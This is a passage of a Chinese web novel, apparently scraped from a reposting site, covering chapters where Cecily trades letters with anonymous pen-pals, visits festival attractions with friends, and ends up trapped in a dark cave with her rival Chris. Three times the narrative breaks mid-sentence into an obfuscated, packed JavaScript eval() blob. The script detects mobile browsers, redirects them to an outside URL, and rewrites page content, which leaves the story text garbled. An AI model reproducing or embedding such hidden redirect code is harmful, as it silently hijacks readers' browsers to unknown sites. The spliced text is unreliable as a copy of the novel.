“因为有的时候心软就是恋爱的开始。”艾维斯抢答说。 西塞莉：“那你和妈妈的恋爱也是从心软开始的吗？” 扎克利：“……重点抓错了吧？” “才不是呢。”艾维斯用游戏手柄半遮住脸，娇羞道：“我对你妈妈是一见钟情呢！” “请不要用这种语气说话，好恶心。”西塞莉面无表情。 扎克利在一旁幽幽开口：“艾维斯先生，请不要在打游戏的时候做这种动作——我们已经输掉了呢。” “啊！为什么叫得这么生疏？就算引导关系解除了也可以继续叫‘老师’的嘛！” 扎克利：“不要。” 艾维斯嘟囔道：“真是不可爱呢扎克利。” 扎克利：“并不想被您夸可爱呢。” 西塞莉上前拍了拍艾维斯的肩膀：“既然输了的话，下一局还是让我来吧。” “不可以。”艾维斯微笑：“桌上的饭用了保温咒，请用——西塞莉大小姐——” 西塞莉：“……” 西塞莉：“好吧。” 她侧头看了看扎克利，说：“那大叔你在多待会儿吧，等我吃完饭跟你打两局。” 艾维斯：“西塞莉难道不想和老爸打吗？” “不要，你技术很烂。” “被西塞莉拒绝了……好伤心……” “都说了别这样说话！真的很恶心诶！” …… 西塞莉走到餐桌前。 餐具里的事物还是温热的，玛琪奶奶的手艺一如既往的好。 沙发上艾维斯和扎克利吵吵闹闹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505004|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地玩游戏，电视上的画面有些熟悉，她仔细看了一会儿才意识到是《焚木之岛3》，她和丹尼尔尼克他们也经常玩。 楼上的书房被推开门，穿着家居服的卡蜜拉出来倒了杯水，看见餐桌前的西塞莉，温和地道了句：“回来了？” 西塞莉点点头，于是浅栗色头发的女人朝她笑了笑就再次回了书房，离开前还让艾维斯小些声，艾维斯很听话地降下了声音，但等卡蜜拉离开就有不自觉地提高了音量，吵吵闹闹很是热闹。 大概是因为刚从克里斯那儿回来了缘故，西塞莉这时又想起了他。 想起克里斯住的那座冷清而寂静的房屋，再看着眼前的场景，西塞莉前所未有的体会到了“家”之一词的含义。 回到学校后，西塞莉在信箱里取出了三封信。 只看信封和火漆，西塞莉都能看出来是谁寄的。 果然，其中，两封是Artist的，一封是Sapphire。 她首先拆开了Artist的信——和蓝宝石小姐相比，她和这位‘艺术家’的交流要更密切些，几乎是每天都有的程度，这导致她宿舍里的信纸和墨水极速减少。 这封信的内容大致是将他最近发现的一种精神力和魔法结合的新用法——第二学期的时候他们新增的一项训练——精神力。 和魔力相比，精神力对于魔法师的作用要小些，只是对精神系攻击的防御力要强些，但精神系魔法和精神系天赋者却是十分罕见的，不过优秀的魔法师精神力总是不差的，有备无患嘛。 而且如果精神力优异的话，还可以选择另一份职业——召唤师，通过精神力吸引强大的魔兽和其签订契约成为‘召唤兽’，用以战斗。 这封信就是探讨能不能用一份时间同时训练精神力和魔力，节约时间，快速提升。 末尾，艺术家先生说自己已经隐约摸到边了，顺便还贬低了一番法师塔。 那犀利的遣词造句让西塞莉不禁笑出了声。 她于是心情愉快地打开另一封信。 ——Grain Rain： 晚上好， 为什么不回我的信？ ————Artist 西塞莉：“……” 她将信纸反过来，看见背面干干净净，并没有什么隐藏信息。 ……真的就一句话吗？ 一句话居然也用了格式，真是认真呢，Artist先生。 西塞莉开始写回信。 ——亲爱的Artist先生： 晚上好！ 你的理论和想法都很棒，如果能同时修炼魔力和精神力的话，一定会更快的变强吧！ 很抱歉没有及时回复你的信件，因为我在上周末是回家过的。 随信附上我在周末的研究成果，是我对电动滑板的改装图——嗯，现在应该叫魔动滑板了吧？（笑） 期待你的回信！ ————你的朋友 Grain Rain PS：很快就是亡灵祭了，希望你过得开心 ^^ 亡灵祭，顾名思义，就是祭祀亡灵的节日，和其他祭典一样，放假三天。 ……那要去和丹尼尔他们商量一下怎么玩啊，总不能和夏日祭一样逛逛街看看烟花就结束吧？ 这么想着，等待墨水晾干的间隙里，西塞莉打开了Sapphire的信。 ——亲爱的Grain Rain小姐： 日安。 我与他的关系似乎并没有任何进展，他甚至不愿意和我对视。 请问，Grain Rain小姐在什么情况下才会不想与别人对视呢？ 期待您的回复。 ————你的 Sapphire 19. 亡灵祭其一 在什么时候才会不愿意和别人对视？ 西塞莉几乎一瞬间就想到了克里斯。 然后想到斯科特已经被灭族了，而克里斯既不可能女性，也不可能会写这种信。 但通过眼睛发动的天赋术法又不是被斯科特和克里斯垄断了，说不定Sapphire小姐就是其中一员呢？ ……那除了对方是克里斯这种有特殊天赋的人外，她还会因为什么不愿意和别人对视呢？ 西塞莉犹豫片刻，提笔回信： ——亲爱的Sapphire小姐： 晚上好！ 很高兴收到你的信！ 我不愿意和别人对视的原因大概有两个： 一是对方的天赋术法是通过眼睛发动；二是，对方长得很难看。 很抱歉，我是一个很在意相貌的人，对待不熟悉的人，如果对方太丑几乎让我不忍直视。 但长得难看并不是对方的错，毕竟人都是无法选择自己的样貌的。 最后，希望你在即将到来的亡灵祭中能度过愉快的假期！ 期待你的下一次来信！ ————你的朋友 Grain Rain ＊ 西塞莉和克里斯关系的转折点发生在亡灵祭。 亡灵祭前夕，西塞莉和丹尼尔他们一起看她带回来了宣传手册。 每年祭典的创新都被记载在这本宣传手册里。 “里阿帕岘城东区这个项目看起来好有意思哦。”丹尼尔说。 “瓜科尔城西区这个‘宝石谜’，”尼克点了点宣传册上的图画，“看起来还不错嘛。” “法拉斯城北区的这个项目看上去很刺激诶。”西塞莉眨了眨眼。 “……” “所以去哪一个？” 丹尼尔纠结的皱紧了眉，艰难的取舍道：“还是听西塞莉的吧……” 尼克白他一眼：“放假三天诶，这三个地方可以都去吧？我们甚至可以看满三个城市的亡灵祭烟火秀。” “对哦……” “那我们先去哪个？”尼克问。 “法拉斯城最后一个去。”西塞莉说。 “为什么？”丹尼尔好奇地看着她。 “因为这个‘岩洞鬼影’看上去最刺激，说不定玩完之后就觉得其他的没意思了。” 丹尼尔赞叹：“不愧是西塞莉！” 尼克：“……这有什么可以夸的啊！！” 总之，第一个去的地方是尼克挑选的瓜科尔城西区，因为他选出的项目看起来很无聊。 “……哪里无聊了？”尼克忍无可忍。 “的确很无聊。”西塞莉附和道。 所谓的‘宝石谜’，就是解开谜题可以获得相应的宝石，他们一组走走停停，只有尼克一个人在解密，获得的宝石被随手丢给西塞莉和丹尼尔。 一开始还会感到新奇，西塞莉甚至心情甚好地也解了两个谜，赢来的宝石被她送给了丹尼尔。 然后叫嚷着要将宝石卖掉换钱的金发男孩刷得一下就安静了，说要把那两块石头收藏起来。 但时间长了就没有趣味了，西塞莉开始百无聊赖地看着尼克撑着下巴思考谜底。 “……那你倒是动脑子啊？”尼克无语地看着她。 “不想动，”西塞莉说：“动脑子好累的，我一动脑子就想睡觉。” “……骗谁呢，第一名难道不是你考的吗？” “不一样的。”她实话实说道：“考试时的动脑子和现实生活中的动脑子动的不是一个脑子。” “……呵。” 西塞莉很自然地忽略了他的冷笑，说：“你快点呀，我们待会儿去其他地方逛逛。” 尼克说：“你们两个可以自己先去的。” 西塞莉自然道：“我们不是朋友吗？应该一起才对。” 尼克：“……” 他轻咳一声，说：“那就再等一会儿，很快就要到最后一关了。” ‘宝石谜’的最后一关，剩余的人已经寥寥无几。 展示台上，被玻璃罩里的绿宝石闪闪发光。 旁边是计时器，等数字归零后，出题人缓缓开口： “什么东西早晨用四条腿走路，中午用两条腿走路，晚上用三条腿走路？” 西塞莉眨了眨眼，觉得这句话她好像在哪里听过。 她看了看那颗漂亮的宝石，再看看一旁丹尼尔和尼克直勾勾的目光，想：他俩好像很喜欢的。 那作为朋友，她当然有义务替他们拿下了。 于是她又开始思考那个听上去很抽象的问题。 “啊！” 突然，人群中有人发出一声恍然大悟的“啊”，还伴随着一拳击掌的清脆声响，众人顿时紧张地望过去，西塞莉也是其中一员。 出题人也看向他，开口问道：“这位先生，您是解出来了吗？” “没有。”他摸着脑袋憨笑：“就是想起来出门前忘记给狗倒狗粮了哈哈哈……” 西塞莉顿时松了一口气。 然后开始更加努力的回想，因为她意识到可能会有其他人比她更快找出答案。 刚刚的惊吓似乎让她的脑子更清晰了些，西塞莉突然就想起来自己曾经从哪里见过这句话了—— 她曾经看过一本书，书上有这样一个情节—— 一个长着狮子躯干、女人头面的有翼怪兽，坐在悬崖上，向过路人出一个谜语：“什么东西早晨用四条腿走路，中午用两条腿走路，晚上用三条腿走路？”如果路人猜错，就被害死。然而主角猜中了谜底，怪物于是羞惭跳崖而死。 那个谜底是—— “人！” 西塞莉说：“谜底是人！” 她期待地看向出题人。 出题人沉默片刻，开口：“答案——” “正确。” “好耶！” 西塞莉简直高兴地跳起来了，她抬手给了身旁的丹尼尔和尼克一人一个拥抱用以抒发自己的激动之情。 丹尼尔也很开心：“西塞莉最棒了！” 尼克挑了挑眉，看上去有些惊讶：“你这不是会用脑子的吗？” 出题人很识趣地等待他们队内欢呼完才开口：“这位小姐，请问可以替在场的其他人讲解一下吗？” “当然可以！” 西塞莉清了清嗓子，开口解释道：“在生命的早晨，人是一个娇嫩的婴儿，用四肢爬行；到了中午，也就是人的青壮年时期，用两只脚走路；到了晚年，人老迈无力，不得不借助拐杖的扶持，作为第三只脚。” “很好。”出题人带头鼓掌，稀稀拉拉的掌声逐渐跟随着响起。 “那今晚的第一名就是这位——” “西塞莉！”西塞莉适时开口。 “——就是这位西塞莉小姐了！” 那块半个拳头大的绿宝石最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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尼克在看见西塞莉的举动后就大致明白了她的想法，只有丹尼尔还有茫然地看着她：“西塞莉……拿这些书干什么呢？” “我打算将它做成首饰。” 西塞莉看着绿宝石说。 “做成三份，”她补充道：“我们一人一个——所以我们要先来准备设计图纸。” 于是他们三人就开始讨论“做什么首饰”了。 丹尼尔：“戒指怎么样？戒指在书里都是代表誓约的，可以用来证明我们坚定不移的友谊！” 尼克沉默地看了他一眼。 西塞莉无知无觉道：“戒指戴在手上，使用武器的时候会不适应吧？而且战斗的时候会容易毁坏。” 尼克：“那就耳饰好了，可以随身带着，作战的时候也不容易伤到。” 西塞莉点点头：“这个可以诶，那我们要做什么样式的耳饰呢？耳坠？耳环？还是耳钉？” 尼克屈指轻轻敲了敲桌面上宝石，分析道：“这个分量，如果做耳坠，只能做单边；耳环又只能做镶嵌；似乎也用不了多少，耳钉的话……似乎刚刚好可以做三对。” 西塞莉苦恼道：“但是感觉单边耳坠很酷欸……” “那就做耳坠好了！”丹尼尔说。 她又看向尼克。 “可以。” 尼克总是很少拒绝她。 于是她愉快的敲掌：“好的——现在，我们来画设计图吧！” 20. 亡灵祭其二 设计图当然不是一时半会可以画完的，等到十一点半左右的时候，尼克叫停了他们： “再不回宿舍的话就要自动锁门了，到时候爬窗户回宿舍吗？” 于是西塞莉和丹尼尔暂停了画图工作，回了宿舍。 回到宿舍，西塞莉习惯性看了看门口的信箱，意外在里面发现的两封信——她以为亡灵祭大家都和她一样很忙呢（指参加祭典活动和画设计图）。 其中Artist的那封还是和往常一样，用简洁的语言评价了她的滑板改装，并赞扬了她相当不错的审美，然后又讲述了自己在‘魔力与精神力同时训练’这一研究项目的近期成果，并再次在末尾嘲讽了法师塔。 【不是专门研究这些关于魔力、精神力和附魔武器的机构吗？但他们甚至比不上我这种学院在读生的一周成果，真是废物。】 信中这样写道。 西塞莉其实很想替法师塔说句话，毕竟他们也一直在兢兢业业的工作，半年前还研究出了无法阵短距离瞬息，据说已经开始推广了，而他们在升上三年级后也会学习这项魔法。 但看了看信纸上艺术家先生写下的条理清晰、利索而潇洒的字迹，而他又大概是和自己差不多大的一二年级生，西塞莉就觉得法师塔好像似乎确实有点废物…… 既然如此，那就不帮他们说好话了吧！ 于是西塞莉就只写了些近期关于魔法的感悟，和今晚在设计上的心得与经验—— 她与艺术家先生很少将关于自己的日常——也是，毕竟是匿名信，即使可能永远也无法与对方碰面，但在熟悉之前最好还是不要透露私人信息的好。 比起日常生活，艺术家先生更喜欢在信件中讲自己对魔法、精神力和武器等各方面的研究，有的时候连饮料都包装设计也能有理有据地点评上两句，再提些改进建议…… 总之涉猎很广泛，也很喜欢研究东西，西塞莉有的时候觉得，比起Artist（艺术家），他更应该叫Scientist（科学家）或者Researcher（研究员）。 西塞莉想着对方仿佛对什么都很有研究的博学模样，想着这位艺术家先生说不定在珠宝设计方面也很有心得，毕竟他审美是真的不错，画工也很好，偶尔有一些图纸随信寄过来，手稿都相当漂亮，于是就将今晚自己的设计图临摹了一份跟信一起封进了信封。 ——用了特意挑选与设计过印章与火漆。 ……因为有一次很随便的挑选了印章图案和火漆颜色，所以被艺术家先生嘲讽了审美。 西塞莉在回信里说他不是也没有特意挑选吗，连印章都是用的空白，还好意思说她没有审美。 于是第二天Artist就用了很漂亮印章和火漆，并在信中再次狠狠嘲讽了她的审美，表示他之前用的信封是带暗纹的，如果再用过分花哨的会显得很难看。 西塞莉看了看信封。 好吧，搭配起来的确很好看。 再看看之前的信，嗯，都很好看。 【好吧，艺术家先生，我承认你确实很有艺术天分。】 西塞莉在下次回信中诚恳地向他致歉，并且在此后的回信都严格挑选信封和火漆等。 封好给Artist的信后，西塞莉又拿起了蓝宝石小姐的信。 即使Artist的信封风格不像曾经那样简约，但她还是能一眼分辨出二人信件的不同。 因为Sapphire的信封和火漆总是在黑、白、灰、蓝几个色系里轮换，而印章也总是蝴蝶花鸟这种优雅小清新的类型，喜好与风格都很突出。 西塞莉熟练地拆开信封，一目十行地看了起来。 ……大致意思是不知道亡灵祭去什么地方玩，请求推荐的。 和艺术家先生相比，西塞莉和蓝宝石小姐的来往中，日常闲聊占比较多，毕竟是交对方交朋友嘛，但频率不算高，平均一周一封的程度，不算特别熟悉，所以她并不知道对方是在哪片大陆的猎魔人学院上学。 ……但现在已经过了八点了，如果她寄信问Sapphire她住在哪片大陆，对方要明天的八点才能收到，回复邮寄再邮寄，亡灵祭早就过了。 西塞莉犹豫了一会儿，将五大陆所有地区的祭典地点，觉得的有趣的都写了一两个上前。 ——其中包括今天去的瓜科尔城西区的‘宝石谜’，里阿帕岘城东区的‘漫画亡灵展’和法拉斯城北区‘岩洞鬼影’。 顿了顿，想到对方Sapphire（蓝宝石）的落款，西塞莉觉得对方在宝石方面说不定也很有见解，于是再次临摹了一份设计图和信一起封进了信封。 最后，她掏出魔导杖用粘连魔法把自己那本宣传册和信封连在了一起，希望信箱能帮她一起寄过去。 第二天，西塞莉白天和丹尼尔与尼克在图书馆研究珠宝设计，晚上一起去丹尼尔选的里阿帕岘城东区参加祭典活动。 “这个活动很有创意。”西塞莉说。 她顿了顿，评价道：“但是有点阴间。” ‘漫画亡灵展’，看名字就知道这是什么东西了。 小说漫画里的亡灵怎么就不值得祭奠了呢？ 活动场地立着许多展示墙，墙上挂满了一本本巴掌大的小册子，封面上角色的照片，翻开就是该角色的死亡场景，再翻是人物生平和死因介绍…… 很阴间。 西塞莉作为小小年纪阅书无数的大佬，一路上走过来看到了不少熟悉的面庞，感觉心情相当复杂。 突然，她停下脚步，目光直勾勾盯向其中一本册子。 “怎么了？” “啊……”丹尼尔走到她的身边，顺着西塞莉的视线往过去，然后恍然大悟道：“是翠丝特啊——西塞莉，你还是很喜欢她吗？” 西塞莉依旧看着册子封面没说话。 那是一个金发蓝眼的短发少女，她精致的脸上面无表情，穿着灰白两色的战斗服，眼睛直勾勾盯着外面的人，虹膜过浅的蓝色显出无机质的非人感——事实上，她也的确不是人。 翠斯特是《焚木之岛2》中的角色，是疯狂科学家的创造物，一个仿生机器人，同时也是科学家的助手。 ——天知道一座小岛上为什么会有这么多乱七八糟的东西，又是杀人犯又是科学家，时不时再来点恶魔给玩家解解闷……你们焚木岛不是安居乐业的著名旅游地区吗？ 算了……反正都是游戏设定。 总之，在玩家推翻了反社会科学家想要散播炸弹把全世界都炸毁的疯狂计划后，机器人翠丝特加入玩家的探险队伍，超强的战斗力给玩家提供了不少助力。 而在游戏中，玩家受到致命威胁，是翠丝特替玩家挡下致命一击，临死前还发表了一番“谢谢您让我体验到人类的情感，爱真是美好的东西”这种很赚人眼泪的发言。 总之西塞莉就哭得很惨，然后反复读档了很多次，发现只有接着翠丝特死去的这条线打下去才能迎来唯一的He结局。 如果要确保翠丝特不会因为替 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“……西塞莉，可真是长情的人呢。”沉默片刻，他感叹般的道。 —— 回到学校后，西塞莉和丹尼尔、尼克在图书馆里消磨掉最后的时间，然后在十二点之前回了宿舍。 轻车熟路从信箱里取出信件，西塞莉还是率先去看Artist的。 打开信封，率先滑出来的一张草稿纸，上面是她上次画的设计图——被改过的。 “艺术家先生果然在这方面也有研究呢。”西塞莉惊艳地看着图纸，不禁赞叹道。 她于是打开去看信封里另一张纸。 Artist在上面洋洋洒洒写了一堆理论，先是关于设计上的，后面再是近些天的魔法研究。 有些名次西塞莉甚至有些一知半解，要考前后语境才能勉强搞懂那个词的具体定义。 Artist参加了这次活动，那说明对方肯定是猎魔人学院在读生，而且很聪明，大概率不会被留级，那说明这位艺术家先生肯定不会超过十六岁。 好年轻，好聪明，好厉害。 这家伙是百科全书还是机器人啊？普通人真的可以懂这么多吗？ 西塞莉很敬佩他，但一想到对方其实可能只大她四五岁，她对对方也从来没用过敬语，是同辈人，突然就油然而起了一股不服输的劲。 自己也要好好加油啊！ ……不过还是在假期之后吧。 想着，她又拆开Sapphire的信。 信的内容很简单，就是感谢了西塞莉的推荐，并表示自己在珠宝设计上并无涉猎，很抱歉帮不上她的忙。 挨个回完信并封存好后，西塞莉盯着被Artist改过的手稿，越看越喜欢，决定无论如何也要用这一版，就算丹尼尔和尼克不同意，她也要拼死说服他们！！ 嗯，同意了。 西塞莉带他们坐魔法传送阵回了王城，找了家风评很好的饰品铺将设计稿和绿宝石给了他们，顺便在附近玩了一会儿，又在天将将擦黑的时候做传送阵去了法拉斯城北区。 ‘岩洞鬼影’是一个冒险活动，在一个天然岩洞里举行，看上去有些危险，但感觉很刺激，而且再怎么刺激也是祭典活动，应该不会有什么问题的……吧？ 事实证明，乱立flag是不行的，从古至今无数作品都这么告诫我们。 因为真的出问题了。 ……还是大问题。 21. 黑暗中的触碰 西塞莉现在被困住了，和克里斯一起。 天知道克里斯为什么也会来参加这种活动，这跟他一都都不搭。 ……话说上学期夏日祭的时候，克里斯也参加了呢。 他甚至戴了很可爱的猫咪面具，还因为没看路撞到人了。 西塞莉试探着问克里斯：“克里斯……你带魔导杖了吗？” 西塞莉的家就在王城，她白天玩累的时候回家洗了个澡，而魔导杖就在她换衣服的时候被忘下了。 这导致了她现在落到这种田地，堵住洞口的石头明明只需要一个简单的飘浮魔法或者减重魔法就可以移开的…… 呜哇，一个魔法师为什么会忘记带自己的魔导杖呢？太失格了！ 但这里还有克里斯！ 她期待地望着他。 克里斯在她期待的目光中，缓缓地摇了摇头，但他很快意识到这个不大的洞里是没有光线的，西塞莉很可能看不到，顿了顿，开口道：“没有。” “哦……”她听上去很失望。 但却又很快的打起了精神：“没关系！就算走散了，但丹尼尔他们应该很快就会发现我们不见了的，他们一定会来救我们的。” “嗯。” 克里斯想自己应该要感谢西塞莉被和自己一起困在这里，因为他是一个人来的，如果不是西塞莉，他被困死在这里说不定都没人知道。 洞内一时再次安静下来。 面前只有一片虚无的黑暗，耳边只能听到对方极轻的呼吸，身下的岩石冰冷而坚硬。 西塞莉开始感到有些冷了。 她突然想到自己曾经玩过的一个恐怖游戏，主角是一个假期出来冒险的大学生，和朋友们来溶洞里探险，意外被困在里面，然后…… “克里斯……” 她感到有些不安，搓了搓手臂上的鸡皮疙瘩，主动打破了过分的寂静。 “怎么了？”不远处传来男孩冷淡的声音。 “……你冷吗？”她开始没话找话。 “不冷。你冷？” “还可以。” “……” “……” “……你居然也会来参加祭典活动呢，感觉这些热闹的东西和你不太搭。” “嗯。” “上次夏日祭的时候你也参加了吧？还戴了很可爱的面具呢。” “……” “克里斯？” “我在。” “你平时，嗯……会玩游戏吗？” “不会。” “那你一般会做什么？” “训练和看书。” “……” 啊，是卷王。 “……那你喜欢看什么书呢？” “《中级魔法理论》《新世纪魔法通史》《现代附魔法器研究》之类的。” “……哦、哦！这样啊……” 该死！活该他能考第一名，她在课堂之外一般只看《Re：天才猎魔人十六岁》这种的。 “……” “克里斯……” “嗯？” 西塞莉突然想起这家伙其实是个‘刺猬头’，嘴一瓢问道：“你每天起来都要给头发上发胶吗？” “……” “克里斯？” “……那个是魔法。”他才不会用那么费时间的方法。 “哦。” 克里斯的刺猬头是用魔法反重力压下来的啊……但他原本的头发好像才是反重力的那个，这么又炸又翘的头发是真实存在的吗？ “其实头发炸炸的也很好看。”她安慰道。 克里斯没说话。 他的呼吸声轻得不可思议，西塞莉几乎要以为这处空间只有她一个人。 一个人…… 她又想起来那个游戏，主角因为黑暗和复杂的地形与朋友们走散，然后，遇到了…… 想到当时突然贴脸的女鬼CG，她不禁打了个寒颤，下意识开口：“克里斯？” “嗯。” “……” “克里斯？” “嗯。” “……” “克里斯？” “嗯。” “……” “克里斯……” “……到底怎么了？” “我可以和你交朋友吗？” “……”这次轮到克里斯无言了。 他冷淡道：“我以为你很讨厌我。” “也没有啦……之前都是因为有偏见……”她说：“现在，我觉得，你其实还是个蛮可爱的人。”他还会戴小猫面具呢！ “……” “克里斯……？” “……嗯。” “你是同意和我当朋友了吗？”她问。 “嗯。”他声音闷闷的。 “你不要总是‘嗯’啊。” “知道了。” 交了新朋友，西塞莉心情好了不少。 但只要一安静下来，她就会想到那个恐怖游戏，还时不时闪过看过的恐怖电影的画面…… 西塞莉：“……” “克里斯。”于是她又控制不住的叫了一声。 “……干什么？”他没好气道。 我有点怕黑。 但这个是不可以说出来的吧？ 毕竟他们虽然已经成为了朋友，但就算成了朋友也不能阻止她和他进行‘第一名争夺战’，所以她和克里斯除了朋友以外还有另一重身份，那就是竞争对手。 ……怕黑算是弱点吗？算的吧？弱点是不能被对手知道的吧？ 该死！难道只有她一个人因为被困在这种死地方而感到不适应吗？ 凭什么！ “克里斯。”西塞莉说，“我给你讲个故事解解闷吧？” “哦。” “咳咳！”她装模作样地清了清嗓子，开口：“在几年前的一个暑假，一队刚毕业的大学生趁着假期，组成了一支五人探险队，来到了利巴安大陆北部——大约在黑暗森林附近的一处溶洞。” 利巴安大陆是五大陆中在世界地图位置最靠北的一块大陆，而其北部更是常年低温，村落极少。而黑暗森林就是最靠北的那块区域，因为利巴安天色总是暗沉，再加上树木与叶子的颜色都很深，两者搭配起来看上去就像一片深沉的黑暗，故此得名‘黑暗森林’。 那里生活这很多危险的魔兽，其中魔虫尤其多，一不注意被咬上一口的话，如果身边没有专业的医疗人员，大概就要往生去了，所以也有‘死亡森林’的称号。 反正在各种恐怖小说里，有近一半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505007|154962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的故事都发生在那里。 “他们之所以到那儿呢，是因为得到了一个消息——”她话头适时一顿，虽然是在无人注意的黑暗里，却依旧做出一副故作高深的表情：“溶洞中有来自远古——甚至是上纪元的宝藏，如果得到它们就可以一夜暴富了，而刚好这队大学生又一直对故事书里的冒险故事很有兴趣，有胆有闲，就这么出发了。” “他们购买了传送票，到达利巴安后下次购买，然后坐马车。大约在次日下午，他们到达了溶洞附近的一个小村落。休整一晚后，他们在第二天清晨在村民的带领下出发了。尽管带路的村民在路上好心地劝导几人，但他们还是义无反顾的进了溶洞。” “——A先生就是这只队伍中的其中一员。” “他走在队伍的最后，隐隐约约的，他似乎听到了什么声音，但停下脚步仔细去听却又只能听到‘滴答滴答’的水滴落的声音。” 西塞莉感谢他们所在的岩洞整体都很干燥，是听不到水声的。 “但等又走了一段路后，队里的B小姐突然叫了起来，因为C先生不见了，众人争执着是要原路返回寻找C还是接着往下走，A却突然想到刚刚听到的奇怪声响，感觉有些发慌。最后，队伍决定留下两人留在原地看管行李，其他三人去寻找失踪的C。” “A先生就是留下来看管行李的其中一员。” “他和被留下来的另一位D小姐漫无目的的聊着天，过了一会儿，D小姐不好意思地朝A笑了笑，说自己要到一旁上厕所，A点了点头，于是D就进了更深处的溶洞。但过了很久，她都没有再次出来，A在孤独的等待中感到焦虑又烦躁。” “在这时，他突然又听到了那阵奇怪的声响，烦躁而无聊的A先生于是决定一探究竟……” 西塞莉停下了的话头。 她不想继续了，因为下一幕就是女鬼贴脸。 话说为什么溶洞里会有女鬼啊……！！ 她不禁搓了搓手臂上的鸡皮疙瘩。 “克里斯，”她问，“你在害怕吗？” “？你为什么会觉得我在害怕？” “……”因为我在害怕呀。 克里斯难道就没有什么害怕的东西吗？他不怕黑也不怕鬼吗？ 西塞莉突然就想到了前些天去斯科特族地给他送资料的那个晚上，克里斯家灯火通明的房屋。 她想，克里斯说不定是怕黑的，只是因为不好意思所以没有说出口。 唉，真是的，这么喜欢闹别扭吗？那就只好由她主动了。 谁叫他们是朋友呢。 于是西塞莉缓缓朝克里斯的方向摸索着挪移过去。 “克里斯，你是不是有点怕黑？” 她还贴心的加了‘有点’，免得对方自尊心受挫。 像克里斯这种骄傲到甚至有些傲慢的家伙，肯定会觉得怕黑是一件很丢脸的事吧？ 西塞莉突然感受到指尖触到什么冰凉而柔软的东西，和岩石的触感截然不同。 她顿时停下动作，忍不住去想那是什么东西。 但下一秒，那东西就像被她指尖的温度烫到了一样，被飞快地抽走了。 西塞莉愣了愣，感受到一阵有些凌乱的呼吸，近在咫尺。 她突然就意识到，自己离克里斯已经很近了。 22. 呼吸过近 西塞莉突然就意识到自己刚刚碰到的那个是什么了。 “克里斯，刚刚的那个……是你的手吗？”她有些惊奇的问。 “……嗯。” “吓死我了。”西塞莉说：“我还以为是什么死老鼠之类的东西呢。吓死我了。” “……” “你的手有点凉啊，是冷吗？”她问。 “还可以。” “你的隐匿技术用得可真好，我都没不知道到你居然在离我这么近的距离，听呼吸声还以为在另一侧呢！” “……” “话说你为什么要在这里用隐匿啊？” “……练习。因为很无聊。”他解释说。 “真是勤奋呢！” “……” “克里斯。”西塞莉说。 “怎么了？” “我们是朋友了吧？”她开始没话找话。 “嗯。” “……你今天已经对我说了好多个‘嗯’了。” “抱歉。” “？为什么要向我道歉？” “……不知道。”他顿了顿，有点迟疑道：“因为我说‘嗯’会让你不开心？” 西塞莉眨了眨眼：“我没有不高兴，我只是想听你说些其他的。” 克里斯问：“你想听我说什么？” “唔……”西塞莉思索片刻，说：“那你叫一声我的名字吧！你还从来没有叫过我的名字呢！——话说你应该知道我叫什么名字的吧……？” “……” “——为什么不说话？你难道……真的没有记住我的名字吗？！”西塞莉感觉自己很不高兴，甚至还有点委屈。 难道她在之前擅自讨厌了克里斯大半年，而对方却连她叫什么名字都没有记住吗？这也太不公平了吧！她可是—— “我可是惦记你大半年了呢！” 她凭这感觉在黑暗中凑近他，大声说：“我之前还有好多次超过你拿了第一名！而且我每次月末考试之前都会向你下战书的！！” “……我记住了的。”西塞莉听见对方这样说。 “那你说呀！” 她隔着外套抓住了他的手腕，他身体僵了僵，却并没有挣开。 “……西塞莉。”她听见他念出了自己的名字，声音很轻。 西塞莉突然感受到一种有些略显怪异的氛围，她有些困惑地微微侧了下脸，感觉颊侧被什么冰凉而粗糙的东西轻轻擦过，她迟钝地眨了眨眼，意识到那是克里斯的衣服。 ——自从那件事过去以后，他就一直穿着斯科特的族服。斯科特族服的版型硬而挺括，布料材质偏硬，也没有像墨提斯族服那样精致的暗纹，看上去简洁而利落。 但现在不是思考衣服好不好看的时候——西塞莉意识到，他们已经离得很近了。 她轻缓地呼吸着，嗅到对方身上微凉清浅的气味。西塞莉对香料之类的并没有研究，能记住的香薰也只有比较常见的那几种，根本分辨不出克里斯身上的是什么味道。 她迟疑地动了动身体，将向侧前倾倒的身体收回原位。 然后她意识到自己还抓着对方的手臂，隔着并不算厚的外套和内里的衣料，西塞莉感受到男孩僵硬而紧绷的、薄而韧的肌肉。 她立刻松开了手。 她想，他肯定是极其不适应这种接触的，所以即使是隔着衣物都显得这样紧绷。 “克里斯，你用的是什么熏香啊？还蛮好闻的。”她立刻转移话题道。 “……我不用熏香。” “哦哦。那你……”她几乎要问出“你用的是什么味道的沐浴露”这种冒犯又傻缺的问题了，但那点仅剩的情商却突然发挥作用，西塞莉话音一转，问：“——那你有什么喜欢吃的吗？” “……草莓吧。” 他居然很乖地有问必答。 “草莓啊……” 这种鲜艳又可爱的甜蜜果实和克里斯真的是很不搭呢…… 但想想，猎魔人本来大部分就都是甜党，说不定公会会长掏掏兜也是一把糖呢。 所以克里斯喜欢草莓好像也没什么值得大惊小怪的。 “克里斯。” 